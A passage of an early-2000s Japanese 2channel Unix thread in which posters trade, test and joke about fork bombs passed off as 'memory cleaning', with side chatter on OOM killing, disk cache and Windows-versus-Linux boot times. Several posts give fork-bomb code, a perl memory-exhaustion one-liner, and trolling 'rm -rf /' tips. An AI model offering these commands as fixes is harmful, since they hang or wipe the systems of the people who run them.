rootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
ｴｰﾝ
NGNG
Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....
NGNG
> プロセスが限界を超える
とりあえずこれ説明してみて
NGNG
ということは、initから殺されるわけですな
217212
垢版 |
NGNG
>>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
NGNG
>>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。

>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
NGNG
>>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
NGNG
>>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか？
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
NGNG
FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね
222名無しさん＠お腹いっぱい。
垢版 |
NGNG
Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。

ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
223↑
垢版 |
NGNG
訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
NGNG
なかなか面白いデータの取れるスレですね（ｗ
NGNG
横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。
NGNG
危機管理
NGNG
root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。

# sync;sync;sync
NGNG
>>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
NGNG
>>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。

大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
230うひひ
垢版 |
NGNG
>>228-229
でもわかってる香具師はrootでｲｲﾝｼﾞｬﾈｰﾉ?
userにしろrootにしろファイルをﾊﾟﾂｲﾁ消しなんて行為は普通しないし
ﾁｮｲﾄ香ばしいことするときはuserにスイッチするし（うひひ

さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
ﾏﾝﾄﾞｸｾｰことはしない
NGNG
>>230
ここは釣れませんよ
232222
垢版 |
NGNG
>>224
データを取るためのスレじゃなかったのでしょうか？(笑
NGNG
>>230
HPユーザ代表つーことで実験結果よろしくｗ
234うひひ
垢版 |
NGNG
>>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いﾔｼでﾄﾝﾄﾝﾋﾟｰとインスツールしたいので緊急に急いでいまつ
おながいしまつ
NGNG
(`-´).oO(酔っぱらってやがる…)
NGNG
>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?
NGNG
autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
NGNG
>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
NGNG
漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
240名無しさん＠お腹いっぱい。
垢版 |
NGNG
おれ>>１は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

NGNG
おまいがやれ
NGNG
┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊○●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛
243
垢版 |
NGNG
ｵｾﾛ ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ ｵﾔｸｿｸ
NGNG
┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊●＊＊＊＊┃
┃＊＊＊●●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛
NGNG
なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
NGNG
取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
NGNG
有意？にちゃんで？






ﾌﾟ
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●○＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
NGNG
有意 != 有意義
251名無しさん＠お腹いっぱい。
垢版 |
NGNG
linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもﾊﾞｸﾊﾂするわけじゃないだろうし

こういうのを使って
"簡単！ディスククリーニング" は、できないだろうか。
252名無しさん＠お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●●●＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
254名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK！
NGNG
制限加えてない状態でやると、そうなるだろうねぇ。
NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの？
NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
NGNG
むしろ、そのノートPCがあやしいかもしれん。
NGNG
>254
会社にある６台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか？
NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
NGNG
>>1 で落ちない、というだけでは十分ではない。
263222
垢版 |
NGNG
私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

NGNG
じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
265222
垢版 |
NGNG
運？

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
266訂正
垢版 |
NGNG
ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
NGNG
それはもうこのスレとは無関係の固有問題かと
NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ？
270222
垢版 |
NGNG
0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか？
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん＠お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか？
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
278tatibana
垢版 |
NGNG
>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
279あぼーん
垢版 |
NGNG
あぼーん
280名無しさん＠お腹いっぱい。
垢版 |
NGNG
結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの？
NGNG
メモリクリーニングするといいことあるの？
282名無しさん＠お腹いっぱい。
垢版 |
NGNG
勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
垢版 |
NGNG
あぼーん
285あぼーん
垢版 |
NGNG
あぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
290
垢版 |
NGNG
犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの？

くだらねえ質問はここに書きこめ！ Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ？
NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
294名無しさん＠お腹いっぱい。
垢版 |
NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
NGNG
cmalloc
297名無しさん＠お腹いっぱい。
垢版 |
NGNG
cmallocってC言語・・・？
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね？
298名無しさん＠お腹いっぱい。
垢版 |
NGNG
あはは
299あぼーん
垢版 |
NGNG
あぼーん
300あぼーん
垢版 |
NGNG
あぼーん
301名無しさん＠お腹いっぱい。
垢版 |
NGNG
埋めるのなんざmemsetで一発だろ
302名無しさん＠お腹いっぱい。
垢版 |
NGNG
free(calloc(N,1));
303あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

NGNG
memsetとかallocとかいってるﾔｼ・・・

ネタだよね？
NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば？
307294
垢版 |
NGNG
>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね？

>>306
市販パッケージソフトなのでどうにもならないです・・・。
308304
垢版 |
NGNG
>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
309あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>307
＞C言語の命令

関数だろ、C なら。
311名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>310
初心者にむなしいﾂｯｺﾐすんな
312あぼーん
垢版 |
NGNG
あぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ？
NGNG
fork関数
fork関数
fork関数

と。
NGNG
>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
NGNG
システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか
318名無しさん＠お腹いっぱい。
垢版 |
NGNG
最近の話題ｻﾊﾟｰﾘ意味わからん
NGNG
forkダンス
forkダンス
forkダンス

と。
NGNG
>>1を走らせている状態（Load averageが1000を超えているような状態）でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない？
321314
垢版 |
NGNG
>>316
遅レススマソ。THX
322あぼーん
垢版 |
NGNG
あぼーん
NGNG
むしろコスモクリーニング
324名無しさん＠お腹いっぱい。
垢版 |
NGNG
小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックスは糞

これ常識
327名無しさん＠お腹いっぱい。
垢版 |
NGNG
なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたｗ
329名無しさん＠お腹いっぱい。
垢版 |
NGNG
放置プレイ
330名無しさん＠お腹いっぱい。
垢版 |
NGNG
Mac埼京
331名無しさん＠お腹いっぱい。
垢版 |
NGNG
$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな？
332名無しさん＠お腹いっぱい。
垢版 |
NGNG
脂肪
333名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックス脂肪
334あぼーん
垢版 |
NGNG
あぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /*　やったら超速くなりました
337名無しさん＠お腹いっぱい。
垢版 |
NGNG
すげー、rm -rf >>336 やったら超速くなりました
338あぼーん
垢版 |
NGNG
あぼーん
339名無しさん＠お腹いっぱい。
垢版 |
NGNG
レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
NGNG
>>336
rootになるのを忘れるな
341名無しさん＠お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0
342名無しさん＠お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0
NGNG
>>338 すげー誤爆だな、
>>339　そうです。
344名無しさん＠お腹いっぱい。
垢版 |
NGNG
簡単！ディスククリーニング
345名無しさん＠お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0 &
346名無しさん＠お腹いっぱい。
垢版 |
NGNG
fork
347名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linuxが糞だという事実を確認するためのスレはここですか？
348名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナッ糞
349名無しさん＠お腹いっぱい。
垢版 |
NGNG
やっぱＷｉｎｄｏｗｓ最強だな
NGNG
>>2
そこで質問したら、

890 ：名無しさん＠お腹いっぱい。 ：03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。
351名無しさん＠お腹いっぱい。
垢版 |
NGNG
ちんちん
352名無しさん＠お腹いっぱい。
垢版 |
NGNG
ddのがナウイ
353名無しさん＠お腹いっぱい。
垢版 |
NGNG
exit 0
354名無しさん＠お腹いっぱい。
垢版 |
NGNG
洗剤つけてタワシでゴシゴシ洗え
355名無しさん＠お腹いっぱい。
垢版 |
NGNG
この程度でリナックスは氏ぬなんて糞OSですね。
NGNG
>>331
time ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total

何か？
357名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>356
子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では？
358名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>345

システム落ちた....

なんで？
359名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>358
そのシステムってなぁに？？？
NGNG
>>358
わからんの？
361名無しさん＠お腹いっぱい。
垢版 |
NGNG
なんでー？
362名無しさん＠お腹いっぱい。
垢版 |
NGNG
なんでー？
363名無しさん＠お腹いっぱい。
垢版 |
NGNG
なんでー？
364名無しさん＠お腹いっぱい。
垢版 |
NGNG
そして伝説へ
365名無しさん＠お腹いっぱい。
垢版 |
NGNG
無限増殖とは宇宙の神秘
366名無しさん＠お腹いっぱい。
垢版 |
NGNG
潮吹きとは女体の神秘
367名無しさん＠お腹いっぱい。
垢版 |
NGNG
リアルで潮吹きとやらを拝んでみたいものよのう。
NGNG
>>367
シーツが濡れて冷たくて寝る場所が無くなるとゆー罠
369名無しさん＠お腹いっぱい。
垢版 |
NGNG
どこのだれが「潮吹き」と名づけたのか気になる
370名無しさん＠お腹いっぱい。
垢版 |
NGNG
もちろん漁師。
371名無しさん＠お腹いっぱい。
垢版 |
NGNG
女体の一本釣り
372名無しさん＠お腹いっぱい。
垢版 |
NGNG
おまいらエロすぎ。
373名無しさん＠お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0
374名無しさん＠お腹いっぱい。
垢版 |
NGNG
リナックスうんこ
375名無しさん＠お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0 &

↑

これやると、なんで落ちるの？
NGNG
リカーシブ ?
NGNG
#shutdown -h now で電源を切ったあとに
念のため、電源コードをコンセントから抜きます。
どこか金属の部分に触れて体に溜まった静電気を
放電します。
メモリスロット両脇の詰を外側に開いて
慎重にメモリを取り外します。このとき、なるべく
基板に触れないようにします。
メモリを無事外すことができたら、エアーダスターで
埃を吹きとばします。
接点が汚れてる場合は、綺麗にします。
例えば、酸化被膜が出来ている場合は何度か
メモリスロットに抜き差しをすることで自然に取れます。
接点復活剤や鉛筆も役に立ちます。
作業が終ったら、メモリを元に戻します。
メモリスロットの切込みを合わせてカチッと
音がするまで差しこみます。
これで、メモリクリーニングは完了です。

378名無しさん＠お腹いっぱい。
垢版 |
NGNG
↑一所懸命考えた必死なLinuxerの書き込み
NGNG
↑常に必死なWindowserの書き込み
380名無しさん＠お腹いっぱい。
垢版 |
NGNG
↑他に書くことが思いつかなかったMacerの書き込み
381名無しさん＠お腹いっぱい。
垢版 |
NGNG
↑永 六輔
NGNG
2GB以上の増設の場合は水かぶって、五体投地してから。
383名無しさん＠お腹いっぱい。
垢版 |
NGNG
Solaris9 + Blade100 で固まった。
外部からsshでもダメぽ。
384名無しさん＠お腹いっぱい。
垢版 |
NGNG
結論:
Unixは駄目OS
NGNG
Windowsは駄目っていうか苦い
386名無しさん＠お腹いっぱい。
垢版 |
NGNG
Plan9の時代がやってくる。
NGNG
Plan9の時代はもっと先
それまでにあの兎をどうにかしよう
NGNG
>>375
プロセスが鼠算式に増えてプロセステーブルを使い果たすからじゃないの。

389名無しさん＠お腹いっぱい。
垢版 |
NGNG
セックスしたいからです。
セックス！！セックス！！セックス！！
NGNG
>>389
　>>371
391名無しさん＠お腹いっぱい。
垢版 |
NGNG
誰かUnixの時代を終わらせてくれ。
現時点でWindows本命。
NGNG
ていかWindows(MS)の時代を終らせて欲しい

技 術 力 で 競 争 す る 時 代 き ぼ ん ぬ
NGNG
ｽｶｰﾄめくり＝すかーっとメモリクリーニング
NGNG
>>391
必要なOSを必要なときに使えばいいと思うよ。
リモートデスクトップやVNCが使えるようになった今日でも
遠隔地からの保守はUnix系のOSの方がしやすいと思うけど。
逆に遠隔地から保守するひつようがなくマウス操作ですべて
済ませたい場合はWindowsが向いていると思うけど。

>>392
Microsoftにもかなりの技術力があると思うが。
ACL(Access Control List)を最初に実装したのはM社だったし、
NTFS5にはジャーナリング機能があるし、
起動時には動作をできるだけ並列化することで起動時間を短くしているし。
NGNG
>>394
XFSやReiserfsにおけるジャーナリングファイルシステムの幾つかの利点が
NTFSにはないけどね。

速度 復旧の速さ フラグメント

NTFSはFAT32より遅く
有事の際にはディスクチェックが入り
しかもフラグメントする
ファイルが壊れるのは過去のfsと何らかわりない

起動時間の速さなんてPC次第で大分かわる
俺のショボPCじゃいくらWinが速くなったところで
ものの7,8秒で起動してくれるLinuxやFreeBSDには残念ながら敵わんよ。

>技術力がある
絶対ある 確実にある それは間違いないが
あるからそいつを使う必要が常にあるかといえばそうじゃない。
Win95以降のMSは鼻糞ほじりながらでも、そこそこの収入が入り
Win98以降はまともな競合相手すらいないから寝てたって金が入る
ときどき慰め程度に新しいバージョン売り出せばそれでオッケ。
長期的に金かけて技術を産み出し、それを駆使するよりは、一時的な出費で
競合(しそうな)相手潰したり、まるごと買収したほうが安あがりだし、悪い芽を摘むという意味ではある意味長期的に利益になる。

今は穴出しまくって大変だからそうも言ってられないけど。
NGNG
ファイルやディレクトに関するアクセス権の定義の手法を開発したのがMSだとでも思ってるんですかね。
痛すぎ。

Windowsにおけるその実装がACLということで
Windowsにアクセス権という概念がACLよってはじめてもたらされた。
Windowsにおける始めてのアクセス権の実装はMSが最初だ。
というのならわかるが。
NGNG
ドザもマカと一緒なの？

そのうち
「人類の起源はMS本社ﾆﾀﾞ!!｣
って言いだすんだろうな
398394
垢版 |
NGNG
>>395
フラグメントするのは確かに痛い。
FreeBSDでKLD使わないとかなり速く起動するのは知っているけれど、Linuxってそんなに速いか?

確かに、技術力ではなくビジネスで伸びてきたというのは否めないね。
でもそういった部分でいい人材を獲得しているとも思えるわけで。

>>396
ほえ?じゃあ、ACLを最初に標準実装としたOSは何?

ファイルやディレクトリに対してのアクセス権の制御自体は
Unixの主な機能の一つであり初期からあったことは知っている。
ただ、従来のUnixのowner,group,othersという分類よりも細かいことができるという点で
ACLは勝っているとは思っているが。
これを最初に研究のためにつけたのではなく標準で搭載したOSって他にあったのか...

>>397
最初のWindow SystemがXerox PARCにて生まれたことは知ってますが何か?
ただ、それが売れるとは誰も思わなかったから最初に普及したのはマックってだけで。
399395
垢版 |
NGNG
なんだか便乗叩きが多いな…
>>398
俺はGentooLinux FreeBSD4.8R Windows(2k)をどれも使ってるんだが
BIOSのロードとブートローダを除いた、OSのブート時の時間は
速 FreeBSD = Linux > Windows 遅
って感じかなぁ。

計測したのは最近じゃないんだが、環境はほとんど変えてない、どれもkernel
読み出しからログイン画面が出るまでの時間。Linux と FreeBSDはどちらもコ
ンソールからのログイン。Linuxは最低限必要と思われる起動スクリプトとデー
モンのみ。FreeBSDは、同じく必要な物それぞれに加えsshとsamba、apache。
Win2kは特に鯖は立ててない。安定化とパフォーマンスアップを狙ってスワッ
プが外部ドライブでサイズ固定。あとは割と有名な範囲でのレジストリの調整
はしてある。スワップ用のドライブはFAT32。

LinuxはノートPCで性能は良くない、MMX Pentium 230Mhz Mem 96MB。FreeBSD
の方もほぼ同様だがこちらはデスクトップでメモリは128MB。ハードディスク
はノートの物と比較して若干高速な物にしてあると思う。
Win2kはPentium3の500Mhz程度でメモリは512MB。デスクトップPCでハードウェ
アの構成はいたってシンプル。CD-RWドライブにハードディスク二個、LANカードに
USBボード。デバイスはUSBに頼って中身はあまり入れてない。

このWindows絶対的優位な状況において、Windowsは起動に１分前後かかったのに対し
スッカラカンのLinuxは前述のとおり7,8秒。それより若干ハンデがあるFreeBSDも同程度。
以前はノートPCのほうでWin2kを使っていたが、こちらでは3分程かかった。
NGNG
>>399
そんな長々評論するほど起動時間って重要なの？
401395
垢版 |
NGNG
>>400
ほんと失礼した。
ながすぎですね、ごめんなさい。

重要と言われれば重要のような気もする。FreeBSDの方は鯖として使ってるの
で停止させる事は滅多にないけどLinuxとWindowsはクライアントなので長時間
使わないときは電源落しとくから。ほったらかしておくと、Winの中で安定し
ている2kとは言え昨今の状況からしていつ穴がつつかれるかわかったもんじゃ
ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ
(HDDはノートのほうが心配だが)。そんなわけで日に二度三度消したりつけた
りするので、アッサリ起動するLinuxを後目に、チンタラしてるWindowsを見る
と少しイライラしたりする。そんな程度のことですよ。
402名無しさん＠お腹いっぱい。
垢版 |
NGNG
NTFSはFAT32より速いです
403394
垢版 |
NGNG
>>399
えっと、並列化するようになったのはXPからね。
Windows 2000の起動は並列実行していないのでむちゃくちゃ遅い。

それと比較の方法がunfairだと思う。
Windowsと起動時間を比較するならWindowsと同等の機能をもてるだけのデーモンを起動し、
xdm立ち上げるくらいはしないと...

NGNG
>>403
同等の機能を持つデーモンってなんですかね。
鯖に使ってるわけじゃないんで、Winの方は起動時に何もさせてないんだけど。
スタートアップファイルはログイン後に読み込まれるもんだし。
特別なサービス使ってるわけでもないし、無効にしても大丈夫なもんは極力無効にしてるんでね。

xdmでもkdeもgdmでも
１分もかかんないっすね。
20〜25秒かな。
まあ、無茶苦茶な設定にすればWin並に時間かける事は可能だろうけど
使わなくてもいいようなデーモンまでなんでもかんでも入れちゃえば
１分2分はかかるかなぁ。そしたらWinが持つ機能よりも多機能になっちゃうよ。
vnc apache named ssh sendmail finger bind qmail tripwaire Oracle
こんくらいやればいけそう。

2kはむちゃくちゃ遅いとのことですけど
XPより速いと思うのは、俺だけ？
Winの中じゃかなり速い部類だと思うんだけどいかがなものか。

>>400も言ってるけど、語るほど重要でもないよね。
別に一方が数秒で起動して、他方が１分かかってもいいんでないの？
405名無しさん＠お腹いっぱい。
垢版 |
NGNG
ウチは電源入れてから起動するまで22時間かかる。
NGNG
>>404
> 2kはむちゃくちゃ遅いとのことですけど
> XPより速いと思うのは、俺だけ？
計測はしてないが2kは起動遅いよ。XPの方がはやい。
NGNG
じゃあ結論としてはこうね

Linux *BSD > XP > 2k
408403
垢版 |
NGNG
>>404
Windowsくんは何もしないでも動いているサービスがあるので
それらと同じようなサービスをするものすべてを動かすという意味。
たとえば、Samba,automount daemon,ntpなど。

> 2kはむちゃくちゃ遅いとのことですけど、
並列実行するのでマシンの処理速度はかなり効いてくると思う。
並列処理するとコンテキストスイッチのオーバーヘッドがつくしね。

>>407
そうか?Linuxはそんなに起動が速いか?
FreeBSDと比べて遅いと感じた記憶があるけれど、最近は変わったのかな。
409名無しさん＠お腹いっぱい。
垢版 |
NGNG
次は起動時間厨か。
NGNG
>>401
> ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ

2.5 インチ系はしらんが, 3.5 インチドライブって
スピンアップの時に一番ストレスかかるんだが...

